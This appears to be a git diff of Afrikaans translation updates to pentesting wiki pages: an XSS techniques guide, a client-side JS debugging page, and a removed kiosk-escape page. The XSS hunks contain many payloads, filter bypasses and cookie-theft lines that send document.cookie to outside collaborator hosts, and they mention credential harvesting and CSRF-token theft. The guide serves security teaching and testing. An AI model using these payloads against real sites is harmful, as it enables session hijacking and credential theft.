As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
|
||||
|
||||
### Onmoontlik - Hangende Markup
|
||||
### Onmoontlik - Dangling Markup
|
||||
|
||||
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
|
||||
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
|
||||
|
||||
## Invoeging binne HTML-tag
|
||||
|
||||
### Binne die tag/ontsnapping van attribuutwaarde
|
||||
|
||||
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem word, te gebruik om JS-kode uit te voer.\
|
||||
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
|
||||
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\
|
||||
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let wel dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,8 +269,8 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
|
||||
```
|
||||
### Binnen die attribuut
|
||||
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **reflekteer of jy net 'n deel van die waarde beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer willekeurige kode wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om willekeurige kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **ge-reflekteer word of jy net 'n deel daarvan beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
|
||||
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
|
||||
|
||||
@ -325,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**Plekke waar jy hierdie protokolle kan inspuit**
|
||||
|
||||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige tag wat die attribuut `href` aanvaar** en in **meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>`)
|
||||
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige tag wat die attribuut `href` aanvaar** en in **meeste** van die tags wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -351,7 +353,7 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
|
||||
Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gecodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gecodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geïnterpreteer word tydens die **uitvoering**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -383,10 +385,10 @@ As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`targe
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### oor Event Handlers Bypass
|
||||
### oor Gebeurtenis Hanteerders Omseiling
|
||||
|
||||
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
|
||||
As daar 'n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende omseilings probeer:
|
||||
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
|
||||
As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -468,11 +470,11 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
|
||||
|
||||
## Inspuiting binne JavaScript kode
|
||||
|
||||
In hierdie geval gaan jou **invoer** **reflekteer binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
||||
In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `<script>...</script>` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar.
|
||||
|
||||
### Ontsnapping van \<script> etiket
|
||||
|
||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` tag sluit om te **ontsnap:**
|
||||
As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>` ingevoeg word, kan jy maklik die `<script>` **etiket sluit** ontsnap:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
@ -554,7 +556,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript kommentaar (van** [**JavaScript Kommentaar**](#javascript-comments) **trik)**
|
||||
**JavaScript kommentaaren (van** [**JavaScript Kommentaaren**](#javascript-comments) **trik)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -753,7 +755,7 @@ Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verdui
|
||||
|
||||
### Koekie XSS
|
||||
|
||||
As jy 'n XSS kan aktiveer deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te aktiveer. Hiervoor kan jy die koekie tossing aanval gebruik:
|
||||
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -763,13 +765,13 @@ Jy kan 'n groot misbruik van hierdie tegniek vind in [**hierdie blogpos**](https
|
||||
|
||||
### Stuur jou sessie na die admin
|
||||
|
||||
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid aktiveer.
|
||||
Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid ontketen.
|
||||
|
||||
### Sessiemirrow
|
||||
|
||||
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld, wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
|
||||
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
|
||||
|
||||
Jy kan die **administrateur jou self XSS laat aktiveer** en sy koekies/sessie steel.
|
||||
Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
|
||||
|
||||
## Ander Bypasses
|
||||
|
||||
@ -792,7 +794,7 @@ Die paar "Key","Value" sal soos volg teruggegee word:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Dan sal die onfocus-attribuut ingevoeg word en XSS vind plaas.
|
||||
Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
|
||||
|
||||
### Spesiale kombinasies
|
||||
```html
|
||||
@ -826,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS met header-inspuiting in 'n 302 respons
|
||||
|
||||
As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te dwing om arbitrêre JavaScript uit te voer**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos.
|
||||
|
||||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
|
||||
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
|
||||
@ -863,7 +865,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Skriptipe vir XSS
|
||||
### Skriptipe na XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n skrip te laai?
|
||||
```html
|
||||
@ -899,9 +901,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
|
||||
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur vooraf-rendering veroorsaak word, op te los. Dit werk soos volg:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -917,7 +919,7 @@ Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Tipes na XSS
|
||||
### Web Content-Types om XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer:
|
||||
|
||||
@ -932,9 +934,9 @@ Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree
|
||||
|
||||
In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Inhoudstype
|
||||
### xml Inhoudstipe
|
||||
|
||||
As die bladsy 'n text/xml inhoudstype teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
|
||||
As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -989,7 +991,7 @@ constructor(source)()
|
||||
```
|
||||
As **alles is onbepaald** voordat onbetroubare kode uitgevoer word (soos in [**hierdie skrywe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
|
||||
|
||||
- Deur import() te gebruik
|
||||
- Deur gebruik te maak van import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
@ -1002,7 +1004,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Daarom, as ons uit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te verkry:
|
||||
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1268,7 +1270,7 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla
|
||||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
|
||||
|
||||
### Steel Bladsy Inhoud
|
||||
@ -1381,7 +1383,7 @@ body:username.value+':'+this.value
|
||||
```
|
||||
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelek word.
|
||||
|
||||
### Keylogger
|
||||
### Sleutellogger
|
||||
|
||||
Net deur in github te soek, het ek 'n paar verskillende gevind:
|
||||
|
||||
@ -1390,7 +1392,7 @@ Net deur in github te soek, het ek 'n paar verskillende gevind:
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Jy kan ook metasploit `http_javascript_keylogger` gebruik
|
||||
|
||||
### Steel CSRF tokens
|
||||
### Diefstal van CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1500,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Toegang tot Verborgen Inhoud
|
||||
|
||||
Van [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende objekte te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1539,7 +1541,7 @@ Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer **dit opgradeer na SSR
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Gebruik dit om koekiebeperkings, XSS-filters en nog baie meer te omseil!\
|
||||
Gebruik dit om koekie-beperkings, XSS-filters en nog baie meer te omseil!\
|
||||
Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dinamies geskepte PDF
|
||||
@ -1559,7 +1561,7 @@ pdf-injection.md
|
||||
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
|
||||
|
||||
|
@ -1,27 +1,25 @@
|
||||
# Foutopsporing van Kliëntkant JS
|
||||
|
||||
## Foutopsporing van Kliëntkant JS
|
||||
# Foutopsporing van Klantkant JS
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Foutopsporing van kliëntkant JS kan moeilik wees omdat jy elke keer as jy die URL verander (insluitend 'n verandering in die parameters of parameterwaardes) die **breekpunt moet reset en die bladsy moet herlaai**.
|
||||
Foutopsporing van klantkant JS kan moeilik wees omdat jy elke keer as jy die URL verander (insluitend 'n verandering in die parameters of parameterwaardes) die **breekpunt moet reset en die bladsy moet herlaai**.
|
||||
|
||||
### `debugger;`
|
||||
|
||||
As jy die lyn `debugger;` binne 'n JS-lêer plaas, wanneer die **blaaier** die JS uitvoer, sal dit die **foutopsporing** op daardie plek **stop**. Daarom, een manier om konstante breekpunte in te stel, sou wees om **al die lêers plaaslik af te laai en breekpunte in die JS-kode in te stel**.
|
||||
As jy die lyn `debugger;` binne 'n JS-lêer plaas, wanneer die **blaaier** die JS uitvoer, sal dit die **foutopsporing** op daardie plek **stop**. Daarom, een manier om konstante breekpunte in te stel, sou wees om **alle lêers plaaslik af te laai en breekpunte in die JS-kode in te stel**.
|
||||
|
||||
### Oorskrywings
|
||||
|
||||
Blaaier oorskrywings laat jou toe om 'n plaaslike kopie van die kode te hê wat gaan uitgevoer word en om daardie een in plaas van die een van die afstandsbediener uit te voer.\
|
||||
Jy kan **toegang tot die oorskrywings** kry in "Dev Tools" --> "Sources" --> "Overrides".
|
||||
Jy kan die **oorskrywings** in "Dev Tools" --> "Sources" --> "Overrides" **toegang**.
|
||||
|
||||
Jy moet 'n **plaaslike leë gids skep wat gebruik gaan word om die oorskrywings te stoor**, so skep net 'n nuwe plaaslike gids en stel dit as oorskrywing op daardie bladsy.
|
||||
Jy moet 'n **plaaslike leë gids skep wat gebruik gaan word om die oorskrywings te stoor**, so skep net 'n nuwe plaaslike gids en stel dit as oorskrywing op daardie bladsy in.
|
||||
|
||||
Dan, in "Dev Tools" --> "Sources" **kies die lêer** wat jy wil oorskry en met **regsklik kies "Save for overrides"**.
|
||||
|
||||
.png>)
|
||||
|
||||
Dit sal die **JS-lêer plaaslik kopieer** en jy sal in staat wees om **daardie kopie in die blaaier te wysig**. Voeg net die **`debugger;`** opdrag by waar jy wil, **stoor** die verandering en **herlaai** die bladsy, en elke keer as jy daardie webblad toegang kry, **sal jou plaaslike JS-kopie gelaai word** en jou foutopsporing opdrag in sy plek gehandhaaf word:
|
||||
Dit sal die **JS-lêer plaaslik kopieer** en jy sal in staat wees om **daardie kopie in die blaaier te wysig**. Voeg net die **`debugger;`** opdrag by waar jy wil, **stoor** die verandering en **herlaai** die bladsy, en elke keer as jy daardie webblad toegang, **sal jou plaaslike JS-kopie gelaai word** en jou foutopsporing opdrag in sy plek gehandhaaf word:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -1,276 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Kontroleer vir moontlike aksies binne die GUI-toepassing
|
||||
|
||||
**Algemene Dialoë** is daardie opsies van **'n lêer stoor**, **'n lêer oopmaak**, 'n lettertipe kies, 'n kleur... Die meeste van hulle sal **'n volledige Explorer-funksionaliteit aanbied**. Dit beteken dat jy toegang tot Explorer-funksies sal hê as jy toegang tot hierdie opsies kan kry:
|
||||
|
||||
- Sluit/Sluit as
|
||||
- Oop/Oop met
|
||||
- Druk
|
||||
- Eksporteer/Importeer
|
||||
- Soek
|
||||
- Skandeer
|
||||
|
||||
Jy moet nagaan of jy kan:
|
||||
|
||||
- Lêers wysig of nuwe lêers skep
|
||||
- Simboliese skakels skep
|
||||
- Toegang tot beperkte areas kry
|
||||
- Ander toepassings uitvoer
|
||||
|
||||
## Opdraguitvoering
|
||||
|
||||
Miskien **deur 'n `Open with`** opsie\*\* kan jy 'n soort skulp oopmaak/uitvoer.
|
||||
|
||||
### Windows
|
||||
|
||||
Byvoorbeeld _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ vind meer binêre wat gebruik kan word om opdragte uit te voer (en onverwagte aksies uit te voer) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
# Windows
|
||||
|
||||
## Om padbeperkings te omseil
|
||||
|
||||
- **Omgewing veranderlikes**: Daar is baie omgewing veranderlikes wat na 'n sekere pad wys
|
||||
- **Ander protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
- **Simboliese skakels**
|
||||
- **Skakels**: CTRL+N (oop nuwe sessie), CTRL+R (Voer Opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (oop verkenner), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Gesiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor as)
|
||||
- Versteekte Administratiewe menu: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
- **Shell URIs**: _shell:Administratiewe Gereedskap, shell:DokumenteBiblioteek, shell:Biblioteke, shell:Gebruikersprofiele, shell:Persoonlik, shell:SoekHuisGids, shell:Stelselshell:NetwerkPlekkeGids, shell:StuurNa, shell:GebruikersProfiele, shell:Gemeenskaplike Administratiewe Gereedskap, shell:MyRekenaarGids, shell:InternetGids_
|
||||
- **UNC-pade**: Pade om aan gedeelde vouers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
|
||||
- **Meer UNC-pade:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
|
||||
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
|
||||
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
|
||||
| %LOGONSERVER% | %PATH% | %PATHEXT% |
|
||||
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
|
||||
| %PROMPT% | %PSModulePath% | %Public% |
|
||||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
## Laai jou binêre af
|
||||
|
||||
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Verkenner: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Registrie-redigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
## Toegang tot lêerstelsel vanaf die blaaier
|
||||
|
||||
| PAD | PAD | PAD | PAD |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
## Skakels
|
||||
|
||||
- Plakkerige Sleutels – Druk SHIFT 5 keer
|
||||
- Muis Sleutels – SHIFT+ALT+NUMLOCK
|
||||
- Hoë Kontras – SHIFT+ALT+PRINTSCN
|
||||
- Wissel Sleutels – Hou NUMLOCK vir 5 sekondes
|
||||
- Filter Sleutels – Hou regte SHIFT vir 12 sekondes
|
||||
- WINDOWS+F1 – Windows Soek
|
||||
- WINDOWS+D – Wys Bureaublad
|
||||
- WINDOWS+E – Begin Windows Verkenner
|
||||
- WINDOWS+R – Voer uit
|
||||
- WINDOWS+U – Toeganklikheidsentrum
|
||||
- WINDOWS+F – Soek
|
||||
- SHIFT+F10 – Konteksmenu
|
||||
- CTRL+SHIFT+ESC – Taakbestuurder
|
||||
- CTRL+ALT+DEL – Splash-skerm op nuwer Windows weergawes
|
||||
- F1 – Hulp F3 – Soek
|
||||
- F6 – Adresbalk
|
||||
- F11 – Wissel volle skerm binne Internet Explorer
|
||||
- CTRL+H – Internet Explorer Gesiedenis
|
||||
- CTRL+T – Internet Explorer – Nuwe Tab
|
||||
- CTRL+N – Internet Explorer – Nuwe Bladsy
|
||||
- CTRL+O – Oop Lêer
|
||||
- CTRL+S – Stoor CTRL+N – Nuwe RDP / Citrix
|
||||
|
||||
## Veeg
|
||||
|
||||
- Veeg van die linkerkant na die regterkant om al die oop Windows te sien, die KIOSK-toepassing te minimaliseer en direk toegang tot die hele OS te kry;
|
||||
- Veeg van die regterkant na die linkerkant om die Aksiesentrum oop te maak, die KIOSK-toepassing te minimaliseer en direk toegang tot die hele OS te kry;
|
||||
- Veeg in vanaf die boonste rand om die titelbalk sigbaar te maak vir 'n toepassing wat in volle skermmodus oopgemaak is;
|
||||
- Veeg op vanaf die onderkant om die taakbalk in 'n volle skerm toepassing te wys.
|
||||
|
||||
## Internet Explorer Triks
|
||||
|
||||
### 'Beeld Toolbar'
|
||||
|
||||
Dit is 'n toolbar wat aan die boonste linkerkant van die beeld verskyn wanneer dit geklik word. Jy sal in staat wees om te Stoor, Druk, Mailto, "My Beelde" in Verkenner oop te maak. Die Kiosk moet Internet Explorer gebruik.
|
||||
|
||||
### Shell Protokol
|
||||
|
||||
